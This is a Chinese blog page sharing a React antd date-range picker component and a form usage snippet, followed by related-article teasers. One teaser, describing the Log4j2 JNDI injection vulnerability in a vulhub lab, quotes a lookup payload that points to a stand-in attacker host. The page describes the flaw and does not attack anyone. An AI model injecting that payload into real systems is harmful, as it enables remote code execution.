业务型 长时间组件封装(复制即可使用)

news2024/11/26 4:30:16

 

 {/*
 disabledAfter 日期限制 例如传入5 则只能选择今天日期+5天内的时间
*/}
import React from 'react';
import { DatePicker } from 'antd';
import moment from 'moment';

const { RangePicker } = DatePicker;

const CustomRangePicker = ({ value, onChange, disabledAfter, ...restProps }) => {
  // 处理日期格式转换
  const handleChange = (dates) => {
    if (onChange) {
      // 将 moment 对象转换为字符串
      const formattedDates = dates.map(date => date.format('YYYY-MM-DD HH:mm:ss'));
      onChange(formattedDates);
    }
  }

  // 判断是否在 disabledAfter 时间之后
  const disabledDate = (current) => {
    return current && current < moment().subtract(1, 'days').endOf('day') || current && current > moment(new Date()).add(disabledAfter, 'days'); 
  }

  const ranges = {
    '今天': [moment().startOf('day'), moment().endOf('day')],
    '昨天': [moment().subtract(1, 'days').startOf('day'), moment().subtract(1, 'days').endOf('day')],
    '上周': [moment().subtract(1, 'weeks').startOf('week'), moment().subtract(1, 'weeks').endOf('week')],
    '本周': [moment().startOf('week'), moment().endOf('week')],
    '上月': [moment().subtract(1, 'months').startOf('month'), moment().subtract(1, 'months').endOf('month')],
    '本月': [moment().startOf('month'), moment().endOf('month')],
  };

  return (
    <RangePicker
      showTime={{ format: 'HH:mm:ss' }}
      format="YYYY-MM-DD HH:mm:ss"
      ranges={ranges}
      value={value ? [moment(value[0]), moment(value[1])] : undefined}
      onChange={handleChange}
      disabledDate={disabledAfter ? disabledDate : undefined}
      {...restProps}
    />
  );
}

export default CustomRangePicker;
 {/* 时间组件-长时间组件 ---开始 */}
                <FormItem {...formItemLayout} label="长时间组件">
                  {getFieldDecorator("timeArr", {
                    rules: [{ required: true, message: "请选择长时间组件" }],
                    initialValue: detailData.timeArr,
                  })(<RangeDatePicker showTime />)}
                </FormItem>
                {/* 时间组件-长时间组件 ---结尾 */}

组件功能点:

1.支持根据disabledAfter现在什么日期后的时间不能选择

2.新增了几个快捷选项,用于快捷选择时间

3.使用便捷,无需关注内部实现和定义一堆函数,只需要传入 initialValue: detailData.timeArr值 即可回显数据

4.可以触发form的表单验证,无需额外在提交的时候验证是否有值进行message提示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1456922.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

小迪安全2023最新版笔记集合--续更

小迪安全2023最新版笔记集合–续更 小迪安全2023最新笔记集合 章节一 ---- 基础入门&#xff1a; 知识点集合&#xff1a; 应用架构&#xff1a;Web/APP/云应用/三方服务/负载均衡等 安全产品&#xff1a;CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等 渗透命令&#xff1a;文件上传下…

Linux——开发工具的使用

目录 Linux软件包管理器 yum rzsz Linux编辑器——vim vim的使用 vim的基本操作 命令模式的常见命令 底行模式的常见命令 vim是需要配置的 Linux编译器——gcc/g 预处理 编译 汇编 链接 函数库 Linux项目自动化构建工具 make/makefile make原理 项目清理 Linux调试器g…

【JPCS出版|EI稳定检索】2024年第四届人工智能与工业技术应用国际学术会议(AIITA 2024)

2024年第四届人工智能与工业技术应用国际学术会议&#xff08;AIITA 2024&#xff09; 2024 4th International Conference on Artificial Intelligence and Industrial Technology Applications 2024年4月12日-14日 | 中国广州 大会官网&#xff1a;www.aiita.net 二轮截稿…

基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的校园求职招聘系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构…

学习Android的第十六天

目录 Android 自定义 Adapter Adapter 接口 SpinnerAdapter ListAdapter BaseAdapter 自定义 BaseAdapter 参考文档 Android ListView 列表控件 ListView 的属性和方法 表头表尾分割线的设置 列表从底部开始显示 android:stackFromBottom 设置点击颜色 cacheColorH…

数据安全治理【概述】

数据安全治理&#xff0c;顾名思义&#xff0c;可拆分为“数据安全”与“治理”数据安全可理解为目标&#xff0c;治理可理解为手段。具体定义&#xff1a;数据安全治理是指在组织数据安全战略的指导下&#xff0c;为确保组织数据处于有效保护和合法利用的状态&#xff0c;以及…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件&#xff0c;使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞&#xff0c;攻击者在可以控制日志内容的情况下&#xff0c;通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入&#xff0c;执行任意代码。…

Java学习小记——多线程Socket编程

目录 线程池线程池介绍线程池的参数 Java线程池ExecutorTester服务器socket编程普通socket编程线程池并行处理客户请求Java NIO异步处理客户请求 线程池 线程池介绍 在创建一个线程时存在一定的开销&#xff0c;创建线程的开销相比于一般的算法来说较大。首先需要建立一个调用…

如何在Windows 10中启用或关闭Windows功能?这里有详细步骤

Windows 10是一个拥有数百种功能的大型操作系统。与任何其他操作系统或软件一样&#xff0c;大多数PC用户从未使用Windows 10中提供的所有功能。例如&#xff0c;内置的XPS Viewer对大多数PC用户来说都是陌生的&#xff0c;尽管它自Windows7推出以来就一直存在。 高级PC用户通…

mybatis 基础入门使用

1、mybatis 简介 1.1、mybatis 特性 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架&#xff1b; MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集&#xff1b; MyBatis可以使用简单的XML或注解用于配置和原始映射&#xff0c;将接口和…

百度云AI

百度云AI概述 Face腾讯优图科大讯飞 百度人脸识别基于深度学习的人脸识别方案&#xff0c;准确识别图片中的人脸信息&#xff0c;提供如下功能&#xff1a; 人脸检测&#xff1a;精准定位图中人脸&#xff0c;获得眼、口、鼻等72个关键点位置&#xff0c;分析性别、年龄、表…

CI/CD部署

什么是CI&#xff0c;什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成&#xff08;Continuous Integration&#xff09;&#xff0c;是一种实践&#xff0c;旨在通过自动化构建、测试和代码静态分析等过程&#xff0c;频繁地将代码变更合并到共享存储…

ArcGIS API for JavaScript 4.X 本地部署(js,字体)

0 目录&#xff08;4.19&#xff09; /4.19/ 1 修改文件 1.1 init.js 编辑器打开/4.19/init.js搜索文本[HOSTNAME_AND_PATH_TO_JSAPI]&#xff0c;然后将其连同前面的https://替换为http://ip地址/4.19&#xff0c;可以是localhost&#xff0c;只能本机引用 替换后&#xff…

【软考高级信息系统项目管理师--第二十章:高级项目管理】

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;软考高级–信息系统项目管理师 &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 第二十章&#xff1a;高级项目管理 项目集管理项目组合管理组织级项目管理OPM&…

AI提示工程实战:从零开始利用提示工程学习应用大语言模型【文末送书-19】

文章目录 背景什么是提示工程&#xff1f;从零开始&#xff1a;准备工作设计提示调用大语言模型 实际应用示例文字创作助手代码生成持续优化与迭代数据隐私与安全性可解释性与透明度总结 AI提示工程实战&#xff1a;从零开始利用提示工程学习应用大语言模型【文末送书-19】⛳粉…

【软考问题】-- 10 - 知识精讲 - 项目风险管理

一、基本问题 1&#xff1a;按照可预测性&#xff0c;风险分哪三类&#xff1f; &#xff08;1&#xff09;已知风险&#xff1a;如项目目标不明确&#xff0c; 过分乐观的进度计划&#xff0c; 设计或施工变更和材料价格波动等。&#xff08;2&#xff09;可预测风险&#xff…

跟着pink老师前端入门教程(JavaScript)-day01

一、计算机编程基础 &#xff08;一&#xff09;编程语言 1、编程 编程&#xff1a;就是让计算机为解决某个问题而使用某种程序设计语言编写程序代码&#xff0c;并最终得到结果的过程。 计算机程序&#xff1a;就是计算机所执行的一系列的指令集合&#xff0c;而程序全部…

spfa的特殊用法

spfa通常用来求带有负权边的最短路问题&#xff0c;但是它还有两种特别的用法——求负环和求差分约束 求负环 我们回顾spfa算法&#xff0c;本质上是一个点的距离被更新以后再用它去更新其他的点。将被更新的点放入队列中&#xff0c;这样一直更新&#xff0c;直到没有任何点…

Stable Diffusion系列(六):原理剖析——从文字到图片的神奇魔法(潜空间篇)

文章目录 LDM概述原理模型架构自编码器模型扩散模型条件引导模型图像生成过程 实验结果指标定义IS&#xff08;越大越好&#xff09;FID&#xff08;越小越好&#xff09; 训练成本与采样质量分析不带条件的图片生成基于文本的图片生成基于语义框的图片生成基于语义图的图片生成…

金蝶云星空——用递归SQL查询物料分组

应用场景&#xff1a; 金蝶物料分组为树形结构&#xff0c;需要根据SQL查询同步到第三方系统中。 技术实现 用递归CTE按照树状结构展开物料分组 with cte as( select 0 as 物料分组层级,t1.FID,case when isnull(t1.FFULLPARENTID,) then .CAST(t1.FID AS VARCHAR(…